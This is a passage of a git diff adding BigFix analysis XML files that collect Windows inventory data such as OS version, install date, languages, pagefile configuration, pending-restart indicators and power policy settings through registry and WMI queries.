+    <Property ID="6" Name="Networks (SSIDs)" EvaluationPeriod="P1D">if (exists key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\NetworkList\Profiles&quot; of native registry) then (concatenation &quot;; &quot; of unique values of (it as string) of values &quot;Description&quot; whose(it as string does not contain &quot;Network&quot;) of keys of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\NetworkList\Profiles&quot; of native registry) else ERROR &quot;no networks found&quot;</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Operating System - Windows (2998541).bes b/Sites/Windows Management/Fixlets/Analyses/Operating System - Windows (2998541).bes
new file mode 100644
index 000000000..e75142260
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Analyses/Operating System - Windows (2998541).bes	
@@ -0,0 +1,31 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Operating System - Windows
+  ID       : 2998541
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2017-04-14T07:43:46
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Operating System - Windows</Title>
+    <Description><![CDATA[<P>Provides information regarding the installed Windows Operating System.</P>
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>NOT in proxy agent context</Relevance>
+    <Domain>BESC</Domain>
+    <Property ID="3" Name="OS - Type - Windows" EvaluationPeriod="P1D">(if (value &quot;ProductType&quot; of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\ProductOptions&quot; of registry = &quot;WinNT&quot; | ERROR &quot;Unknown Operating System Type&quot;) then &quot;Workstation&quot; else &quot;Server&quot;) </Property>
+    <Property ID="6" Name="OS - Install Date - Windows" EvaluationPeriod="P1D">time value of (select &quot;InstallDate from win32_operatingsystem&quot; of wmi | ERROR &quot;No Install Date found in WMI&quot;)</Property>
+    <Property ID="9" Name="OS - System Language - Windows" EvaluationPeriod="P1D">system language</Property>
+    <Property ID="10" Name="OS - User Language - Windows" EvaluationPeriod="P1D">user language</Property>
+    <Property ID="11" Name="OS - Architecture - Windows" EvaluationPeriod="P1D">architecture of operating system</Property>
+    <Property ID="13" Name="OS - Installed Roles and Features - Windows" EvaluationPeriod="P1D">unique values of (concatenations of (it as string)) of (if (exists true whose (if true then (exists select object &quot;* from Win32_ServerFeature&quot; of wmi) else false)) then (string values of (selects &quot;Name from Win32_ServerFeature&quot; of wmi)) else &quot;None&quot;) </Property>
+    <Property ID="14" Name="OS - License Status - Windows" EvaluationPeriod="P1D">if ((select &quot;LicenseStatus from SoftwareLicensingProduct WHERE (PartialProductKey is not null) and (Name LIKE &apos;Windows(R)%25&apos; or Name LIKE &apos;Windows Server(R)%25&apos;)&quot; of wmi) as string contains &quot;1&quot;) then &quot;Activated&quot; else &quot;Not Activated&quot;</Property>
+    <Property ID="15" Name="OS - PowerShell Version - Windows" EvaluationPeriod="P1D">maximum of (it as string as version) of values &quot;PowerShellVersion&quot; of keys &quot;PowerShellEngine&quot; of keys of keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell&quot; of native registry</Property>
+    <Property ID="16" Name="OS - .NET Framework Client Version - Windows" EvaluationPeriod="P1D">maximum of (it as string as version) of values &quot;Version&quot; of keys &quot;Client&quot; of keys of keys &quot;HKLM\SOFTWARE\Microsoft\Net Framework Setup\NDP&quot; of native registry</Property>
+    <Property ID="17" Name="OS - .NET Framework Full Version - Windows" EvaluationPeriod="P1D">maximum of (it as string as version) of values &quot;Version&quot; of keys &quot;Full&quot; of keys of keys &quot;HKLM\SOFTWARE\Microsoft\Net Framework Setup\NDP&quot; of native registry</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Operating System Information (Windows) - Expanded (2994800).bes b/Sites/Windows Management/Fixlets/Analyses/Operating System Information (Windows) - Expanded (2994800).bes
new file mode 100644
index 000000000..e18c1d0d4
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Analyses/Operating System Information (Windows) - Expanded (2994800).bes	
@@ -0,0 +1,70 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Operating System Information (Windows) - Expanded
+  ID       : 2994800
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2015-05-13T07:58:32
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Operating System Information (Windows) - Expanded</Title>
+    <Description><![CDATA[<TABLE>
+<TBODY>
+<TR>
+<TD><FONT size=2><A href="http://support.bigfix.com/inspectors/System%20Objects_Win.html#operating%20system">http://support.bigfix.com/inspectors/System%20Objects_Win.html#operating%20system</A></FONT>
+<P><FONT size=2>This analysis contains information about the Microsoft Windows operating system&nbsp;on BES Client computers. This is an expanded version of the analysis provided by IBM.</P>
+<P><FONT size=2>Since this information&nbsp;does not change much and its evaluation can be resource intensive,&nbsp;most of these properties are only evaluated <STRONG>once per day</STRONG>.</P>
+<P>After activating this analysis, you will see the following properties:</P>
+<UL>
+<LI>Full&nbsp;OS&nbsp;Name and Service Pack Level
+<LI>OS Architecture
+<LI>OS Version Number
+<LI>OS Type
+<LI>Product ID
+<LI>Product Key (Win95, Win98, WinME&nbsp;only)
+<LI>Installation Date
+<LI>Uptime (days) [BES Clients&nbsp;&gt;= 5.1]
+<LI>OS Language (Language of the installed OS)
+<LI>System&nbsp;Language&nbsp;&nbsp;
+<LI>User Language&nbsp;(Default)</LI></UL>
+<P><STRONG>Note:</STRONG> Many of these properties access the Windows Management Interface (WMI) to obtain the hardware properties. The WMI is not usually available on Win9x&nbsp;and WinNT computers so some properties&nbsp;may report back "N/A"&nbsp;on those operating systems.</P>
+<P><STRONG>Note:</STRONG> Some computers may have broken WMI libraries.&nbsp;Inconsistent results&nbsp;and undesired side effects may occur when the BES Client evaluates a WMI query. If you have known problems with WMI in your environment, do not activate this analysis.</P>
+<P></FONT></FONT>&nbsp;</P></TD></TR></TBODY></TABLE>Latest version of this analysis is found here: <A href="http://bigfix.me/analysis/details/2994629">http://bigfix.me/analysis/details/2994629</A> ]]></Description>
+    <Relevance>name of operating system as lowercase starts with &quot;win&quot;</Relevance>
+    <Relevance>(if (name of operating system starts with &quot;Win&quot;) then platform id of operating system != 3 else true) AND (if exists property &quot;in proxy agent context&quot; then (not in proxy agent context) else true) AND (if exists property &quot;android&quot; of type &quot;operating system&quot; then (not android of operating system) else true)</Relevance>
+    <Relevance><![CDATA[version of client >= "5.0"]]></Relevance>
+    <MIMEField>
+      <Name>x-fixlet-first-propagation</Name>
+      <Value>Tue, 31 May 2005 18:57:12 +0000</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Wed, 28 Jan 2015 19:20:54 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="Full Operating System Name and Service Pack Level - Windows" EvaluationPeriod="P1D">if (exists wmi AND (not (name of operating system = &quot;WinME&quot; ))) then (string value of selects &quot;caption from win32_operatingsystem&quot; of wmi &amp; &quot; &quot; &amp; csd version of operating system) else ( &quot;Windows &quot; &amp; (following text of first &quot;Win&quot; of (name of operating system as string)) &amp; (if (name of operating system = &quot;WinNT&quot; ) then ((if (exists key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\ProductOptions&quot; whose (exists value &quot;ProductType&quot; of it AND (value &quot;ProductType&quot; of it as string as lowercase = &quot;servernt&quot; OR value &quot;ProductType&quot; of it as string as lowercase = &quot;lanmannt&quot; )) of registry) then (if (exists key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\ProductOptions&quot; whose (exists value &quot;ProductSuite&quot; of it AND value &quot;ProductSuite&quot; of it as string as lowercase contains &quot;terminal&quot; ) of registry) then &quot; Terminal Server&quot; else &quot; Server&quot; ) else &quot; Workstation&quot; ) &amp; &quot; &quot; &amp; csd version of operating system) else (if (name of operating system = &quot;Win98&quot; ) then (if (csd version of operating system as string contains &quot;A&quot; ) then &quot; Second Edition&quot; else &quot;&quot; ) else (if (name of operating system = &quot;Win95&quot; ) then (if (csd version of operating system as string contains &quot;C&quot; OR csd version of operating system as string contains &quot;B&quot; ) then &quot; OSR2&quot; else &quot;&quot; ) else &quot; &quot; &amp; csd version of operating system ))))</Property>
+    <Property ID="11" Name="OS Architecture - Windows" EvaluationPeriod="P1D">if (ia64 of operating system) then &quot;Itanium 64-bit&quot; else (if (x64 of operating system) then &quot;64-bit&quot; else &quot;32-bit&quot;)</Property>
+    <Property ID="12" Name="OS Version Number - Windows" EvaluationPeriod="P1D">version of operating system</Property>
+    <Property ID="13" Name="OS Type - Windows" EvaluationPeriod="P1D">if (name of operating system as lowercase starts with &quot;win&quot;) then (if (name of operating system = &quot;Win95&quot; OR name of operating system = &quot;Win98&quot; or name of operating system = &quot;WinME&quot;) then &quot;Workstation&quot; else (if (value &quot;ProductType&quot; of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\ProductOptions&quot; of registry = &quot;WinNT&quot;) then &quot;Workstation&quot; else &quot;Server&quot;)) else &quot;Unknown - &quot; &amp; name of operating system</Property>
+    <Property ID="14" Name="OS Product ID - Windows" EvaluationPeriod="P1D">(if (exists key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion&quot; whose (exists value &quot;ProductId&quot; of it) of native registry AND NOT (name of operating system = &quot;WinNT&quot;)) then (value &quot;ProductId&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion&quot; of native registry as string) else (if (exists key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion&quot; whose (exists value &quot;ProductId&quot; of it) of native registry) then (value &quot;ProductId&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion&quot; of native registry as string) else &quot;Unknown&quot;))</Property>
+    <Property ID="15" Name="OS Product Key - Windows" EvaluationPeriod="P1D">if (name of operating system = &quot;Win95&quot; AND exists key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion&quot; whose (exists value &quot;ProductId&quot; of it) of registry) then (value &quot;ProductId&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion&quot; of registry as string) else (if ((name of operating system = &quot;Win98&quot; OR name of operating system = &quot;WinME&quot;) AND exists key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion&quot; whose (exists value &quot;ProductKey&quot; of it) of registry) then (value &quot;ProductKey&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion&quot; of registry as string) else (&quot;Unknown&quot;))</Property>
+    <Property ID="16" Name="OS Installation Date - Windows  (WMI)" EvaluationPeriod="P1D">if (exists wmi AND exists selects &quot;InstallDate from win32_operatingsystem&quot; of wmi AND not ((string value of selects &quot;InstallDate from win32_operatingsystem&quot; of wmi) = &quot;&quot;)) then ((first 4 of (first 8 of string value of (selects &quot;InstallDate from Win32_OperatingSystem&quot; of wmi))) &amp; &quot;-&quot; &amp; (first 2 of (last 4 of (first 8 of string value of (selects &quot;InstallDate from Win32_OperatingSystem&quot; of wmi)))) &amp; &quot;-&quot; &amp; (last 2 of (first 8 of string value of (selects &quot;InstallDate from Win32_OperatingSystem&quot; of wmi)))) else (&quot;N/A&quot;)</Property>
+    <Property ID="17" Name="Uptime - Windows" EvaluationPeriod="PT1H">(if it = 1 then it as string &amp; &quot; day&quot; else it as string &amp; &quot; days&quot;) of ((uptime of operating system) / day) </Property>
+    <Property ID="18" Name="OS Language - Windows" EvaluationPeriod="P2D">language of version block of file &quot;kernel32.dll&quot; of system folder &amp; (if (exists key &quot;HKLM\System\CurrentControlSet\Control\Nls\MUILanguages&quot; of registry AND exists value of key &quot;HKLM\System\CurrentControlSet\Control\Nls\MUILanguages&quot; of registry) then &quot; | MUI Installed&quot; else &quot;&quot;)</Property>
+    <Property ID="19" Name="System Language - Windows" EvaluationPeriod="P2D">system language</Property>
+    <Property ID="20" Name="User Language - Windows" EvaluationPeriod="P2D">user language</Property>
+    <Property ID="21" Name="ProgramFiles EnvVar" EvaluationPeriod="P2D">value of variable &quot;ProgramFiles&quot; of environment</Property>
+    <Property ID="22" Name="OS Architecture - Inspector" EvaluationPeriod="P2D">architecture of operating system</Property>
+    <Property ID="23" Name="Boot Time" EvaluationPeriod="PT1H">boot time of operating system</Property>
+    <Property ID="24" Name="product info string" EvaluationPeriod="P2D">if(version of operating system &gt;= &quot;6.0&quot;) then (product info string of operating system) else NOTHING</Property>
+    <Property ID="25" Name="platform id" EvaluationPeriod="P2D">platform id of operating system</Property>
+    <Property ID="26" Name="product type" EvaluationPeriod="P2D">(if (it = nt workstation product type) then &quot;Workstation&quot; else if (it = nt server product type) then &quot;Server&quot; else if (it = nt domain controller product type) then &quot;DomainController&quot; else &quot;Unknown&quot;) of (product type of operating system)</Property>
+    <Property ID="27" Name="performance counter frequency" EvaluationPeriod="PT12H">performance counter frequency of operating system</Property>
+    <Property ID="28" Name="performance counter" EvaluationPeriod="PT1H">performance counter of operating system</Property>
+    <Property ID="29" Name="ProductName" EvaluationPeriod="PT12H">unique values of (it as string as trimmed string) of values &quot;ProductName&quot; of keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion&quot; of (x32 registries;x64 registries)</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Operating System Information (Windows) - metric inspector (2994628).bes b/Sites/Windows Management/Fixlets/Analyses/Operating System Information (Windows) - metric inspector (2994628).bes
new file mode 100644
index 000000000..ced9ee276
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Analyses/Operating System Information (Windows) - metric inspector (2994628).bes	
@@ -0,0 +1,42 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Operating System Information (Windows) - metric inspector
+  ID       : 2994628
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2014-01-28T10:17:16
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Operating System Information (Windows) - metric inspector</Title>
+    <Description><![CDATA[<FONT size=2>
+<P>metric </FONT><FONT color=#0000ff size=2><FONT color=#0000ff size=2>&lt;</FONT></FONT><FONT size=2>integer</FONT><FONT color=#0000ff size=2><FONT color=#0000ff size=2>&gt;</FONT></FONT><FONT size=2> </FONT><FONT color=#0000ff size=2><FONT color=#0000ff size=2>of</FONT></FONT><FONT size=2> operating system</FONT></P>
+<P><FONT size=2><A href="http://support.bigfix.com/inspectors/System%20Objects_Win.html#operating%20system">http://support.bigfix.com/inspectors/System%20Objects_Win.html#operating%20system</A></P></FONT>
+<P><A href="http://msdn.microsoft.com/en-us/library/windows/desktop/ms724385(v=vs.85).aspx">http://msdn.microsoft.com/en-us/library/windows/desktop/ms724385(v=vs.85).aspx</A></P>]]></Description>
+    <Relevance><![CDATA[version of client >= "8.0"]]></Relevance>
+    <Relevance>/* Windows Only */ windows of operating system</Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 28 Jan 2014 17:13:39 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="SM_CLEANBOOT" EvaluationPeriod="PT12H">metric 67 /* SM_CLEANBOOT */ of operating system</Property>
+    <Property ID="2" Name="SM_SERVERR2" EvaluationPeriod="PT12H">metric 89 /* SM_SERVERR2 */ of operating system</Property>
+    <Property ID="3" Name="SM_SLOWMACHINE" EvaluationPeriod="PT12H">metric 73 /* SM_SLOWMACHINE */ of operating system</Property>
+    <Property ID="4" Name="SM_STARTER" EvaluationPeriod="PT12H">metric 88 /* SM_STARTER */ of operating system</Property>
+    <Property ID="5" Name="SM_MEDIACENTER" EvaluationPeriod="PT12H">metric 87 /* SM_MEDIACENTER */ of operating system</Property>
+    <Property ID="6" Name="SM_TABLETPC" EvaluationPeriod="PT12H">metric 86 /* SM_TABLETPC */ of operating system</Property>
+    <Property ID="7" Name="SM_CMONITORS" EvaluationPeriod="PT12H">metric 80 /* SM_CMONITORS */ of operating system</Property>
+    <Property ID="8" Name="SM_MOUSEPRESENT" EvaluationPeriod="PT12H">metric 19 /* SM_MOUSEPRESENT */ of operating system</Property>
+    <Property ID="9" Name="SM_CMOUSEBUTTONS" EvaluationPeriod="PT12H">metric 43 /* SM_CMOUSEBUTTONS */ of operating system</Property>
+    <Property ID="10" Name="SM_MOUSEHORIZONTALWHEELPRESENT" EvaluationPeriod="PT12H">metric 91 /* SM_MOUSEHORIZONTALWHEELPRESENT */ of operating system</Property>
+    <Property ID="11" Name="SM_MOUSEWHEELPRESENT" EvaluationPeriod="PT12H">metric 75 /* SM_MOUSEWHEELPRESENT */ of operating system</Property>
+    <Property ID="12" Name="SM_IMMENABLED" EvaluationPeriod="PT12H">metric 82 /* SM_IMMENABLED */ of operating system</Property>
+    <Property ID="13" Name="SM_PENWINDOWS" EvaluationPeriod="PT12H">metric 41 /* SM_PENWINDOWS */ of operating system</Property>
+    <Property ID="14" Name="SM_DIGITIZER" EvaluationPeriod="PT12H">metric 94 /* SM_DIGITIZER */ of operating system</Property>
+    <Property ID="15" Name="SM_MAXIMUMTOUCHES" EvaluationPeriod="PT12H">metric 95 /* SM_MAXIMUMTOUCHES */ of operating system</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/PageFile - Windows (2994592).bes b/Sites/Windows Management/Fixlets/Analyses/PageFile - Windows (2994592).bes
new file mode 100644
index 000000000..7fac97f25
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Analyses/PageFile - Windows (2994592).bes	
@@ -0,0 +1,29 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : PageFile - Windows
+  ID       : 2994592
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2013-10-31T09:40:01
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>PageFile - Windows</Title>
+    <Description><![CDATA[&lt;enter a description of the analysis here&gt; ]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists wmi</Relevance>
+    <Relevance><![CDATA[version of operating system >= "5.1"]]></Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Thu, 31 Oct 2013 16:39:11 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="Initial Page file Size" EvaluationPeriod="P1D">string values of selects &quot;InitialSize from Win32_PageFileSetting&quot; of wmi</Property>
+    <Property ID="2" Name="Maximum Page file Size" EvaluationPeriod="P1D">string values of selects &quot;MaximumSize from Win32_PageFileSetting&quot; of wmi</Property>
+    <Property ID="3" Name="Pagefile Name" EvaluationPeriod="P1D">string values of selects &quot;Name from Win32_PageFileSetting&quot; of wmi</Property>
+    <Property ID="4" Name="Size of pagefile" EvaluationPeriod="PT6H">sum of sizes of files (string values of selects &quot;Name from Win32_PageFileSetting&quot; of wmi)</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Pagefile - Win_Mac (2998262).bes b/Sites/Windows Management/Fixlets/Analyses/Pagefile - Win_Mac (2998262).bes
new file mode 100644
index 000000000..4cf9d0cff
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Analyses/Pagefile - Win_Mac (2998262).bes	
@@ -0,0 +1,22 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Pagefile - Win\Mac
+  ID       : 2998262
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-07-19T17:53:42
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Pagefile - Win\Mac</Title>
+    <Description><![CDATA[<P>Information about Pagefile across Mac and Windows </P>
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>NOT in proxy agent context</Relevance>
+    <Relevance>windows of operating system or mac of operating system</Relevance>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="Pagefile - Current Size - Win\Mac" EvaluationPeriod="P1D">sum of sizes of (if (Windows of Operating System) then (files &quot;pagefile.sys&quot; of folders ((name of it &amp; &quot;\&quot;) of drives)) else (if (Mac of Operating System) then (files whose (name of it starts with &quot;swapfile&quot;) of folder &quot;/private/var/vm&quot;) else (ERROR &quot;Unknown&quot;)))</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Pagefile - Windows (2998263).bes b/Sites/Windows Management/Fixlets/Analyses/Pagefile - Windows (2998263).bes
new file mode 100644
index 000000000..030ce9ef8
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Analyses/Pagefile - Windows (2998263).bes	
@@ -0,0 +1,23 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Pagefile - Windows
+  ID       : 2998263
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-07-19T17:53:49
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Pagefile - Windows</Title>
+    <Description><![CDATA[<P>Covers Pagefile configuration for Windows </P>
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>NOT in proxy agent context</Relevance>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="Pagefile - Location and Size - Windows" EvaluationPeriod="P1D">(preceding text of first &quot; &quot; of it | it, preceding text of first &quot; &quot; of following text of first &quot; &quot; of it | &quot;Default&quot;, following text of first &quot; &quot; of following text of first &quot; &quot; of it | &quot;Default&quot;) of (substrings separated by &quot;%00&quot; whose (it != &quot;&quot;) of (value &quot;PagingFiles&quot; of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management&quot; of native registry as string))</Property>
+    <Property ID="2" Name="Pagefile - Clear on Shutdown - Windows" EvaluationPeriod="P1D">if (value &quot;ClearPageFileAtShutdown&quot; of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management&quot; of native registry as string = &quot;0&quot;) then &quot;Disabled&quot; else &quot;Enabled&quot;</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Pending Restart - Windows (2998394).bes b/Sites/Windows Management/Fixlets/Analyses/Pending Restart - Windows (2998394).bes
new file mode 100644
index 000000000..8f2a2c060
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Analyses/Pending Restart - Windows (2998394).bes	
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Pending Restart - Windows
+  ID       : 2998394
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-09-13T16:48:54
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Pending Restart - Windows</Title>
+    <Description><![CDATA[<P>Provides information on the various sources that the BigFix Agent uses when assessing whether a Windows computer has a pending restart.</P>
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>pending restart</Relevance>
+    <Relevance>windows of operating system</Relevance>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="Pending Restart - File Rename Operations - Windows" EvaluationPeriod="P1D">substrings separated by &quot;%00&quot; whose (it != &quot;&quot;) of (values &quot;PendingFileRenameOperations&quot; of keys &quot;HKLM\System\CurrentControlSet\Control\Session Manager&quot; of native registry as string)</Property>
+    <Property ID="2" Name="Pending Restart - Windows Updates - Windows" EvaluationPeriod="P1D">names of values of keys &quot;HKLM\Software\Microsoft\Windows\CurrentVersion\WindowsUpdate\Auto Update\RebootRequired&quot; of native registry</Property>
+    <Property ID="3" Name="Pending Restart - Component Based Servicing - Windows" EvaluationPeriod="P1D">exists key &quot;HKLM\Software\Microsoft\Windows\CurrentVersion\Component Based Servicing\RebootPending&quot; of native registry</Property>
+    <Property ID="4" Name="Pending Restart - Volatile Update Executable - Windows" EvaluationPeriod="P1D">values &quot;Flags&quot; of keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Updates\UpdateExeVolatile&quot; of native registry </Property>
+    <Property ID="5" Name="Pending Restart - BigFix Action - Windows" EvaluationPeriod="P1D">values whose (it != &quot;&quot;) of keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\BigFix\EnterpriseClient\BESPendingRestart&quot; of x32 registry</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Power - Configuration - Windows (2998419).bes b/Sites/Windows Management/Fixlets/Analyses/Power - Configuration - Windows (2998419).bes
new file mode 100644
index 000000000..e6f8d8a5a
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Analyses/Power - Configuration - Windows (2998419).bes	
@@ -0,0 +1,29 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Power - Configuration - Windows
+  ID       : 2998419
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-09-24T23:23:24
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Power - Configuration - Windows</Title>
+    <Description><![CDATA[Information regarding the current power policy.
+<P>For general information or to report issues with C3 Power Management content please visit GitHub here: <A href="https://github.com/strawgate/C3-Power-Management">https://github.com/strawgate/C3-Power-Management</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>NOT in proxy agent context</Relevance>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="Power - Active Policy - Windows" EvaluationPeriod="PT1H">(following text of last &quot;,&quot; of preceding text of first &quot;%00&quot; of it | preceding text of first &quot;%00&quot; of it) of  (it as string) of value &quot;FriendlyName&quot; of key ((it as string) of (value &quot;ActivePowerScheme&quot; of keys &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Power\PowerSettings&quot; of native registry | value &quot;ActivePowerScheme&quot; of key &quot;HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Power\User\PowerSchemes&quot; of x32 registry)) of key &quot;HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Power\User\PowerSchemes&quot; of x32 registry</Property>
+    <Property ID="2" Name="Power - Defined Policies - Windows" EvaluationPeriod="P1D">(following text of last &quot;,&quot; of preceding text of first &quot;%00&quot; of it | preceding text of first &quot;%00&quot; of it) of (it as string) of values &quot;FriendlyName&quot; of keys of key &quot;HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Power\User\PowerSchemes&quot; of x32 registry</Property>
+    <Property ID="3" Name="Power - Lid Close Action on AC - Windows" EvaluationPeriod="P1D">preceding texts of firsts &quot;%00&quot; of following texts of lasts &quot;,&quot; of  (/* Group Policy Comes First */ (value &quot;ACSettingIndex&quot; of key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Power\PowerSettings\5ca83367-6e45-459f-a27b-476b1d01c936&quot; of native registry as string) | /* Next comes Power Scheme  Customizations */ (value &quot;AcSettingIndex&quot; of keys &quot;4f971e89-eebd-4455-a8de-9e59040e7347\5ca83367-6e45-459f-a27b-476b1d01c936&quot; of keys ((it as string) of (value &quot;ActivePowerScheme&quot; of keys &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Power\PowerSettings&quot; of native registry | value &quot;ActivePowerScheme&quot; of key &quot;HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Power\User\PowerSchemes&quot; of x32 registry)) of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\User\PowerSchemes&quot; of native registry as string) | /* Then Power Scheme Defaults */ (value &quot;AcSettingIndex&quot; of (keys ((it as string) of (value &quot;ActivePowerScheme&quot; of keys &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Power\PowerSettings&quot; of native registry | value &quot;ActivePowerScheme&quot; of key &quot;HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Power\User\PowerSchemes&quot; of x32 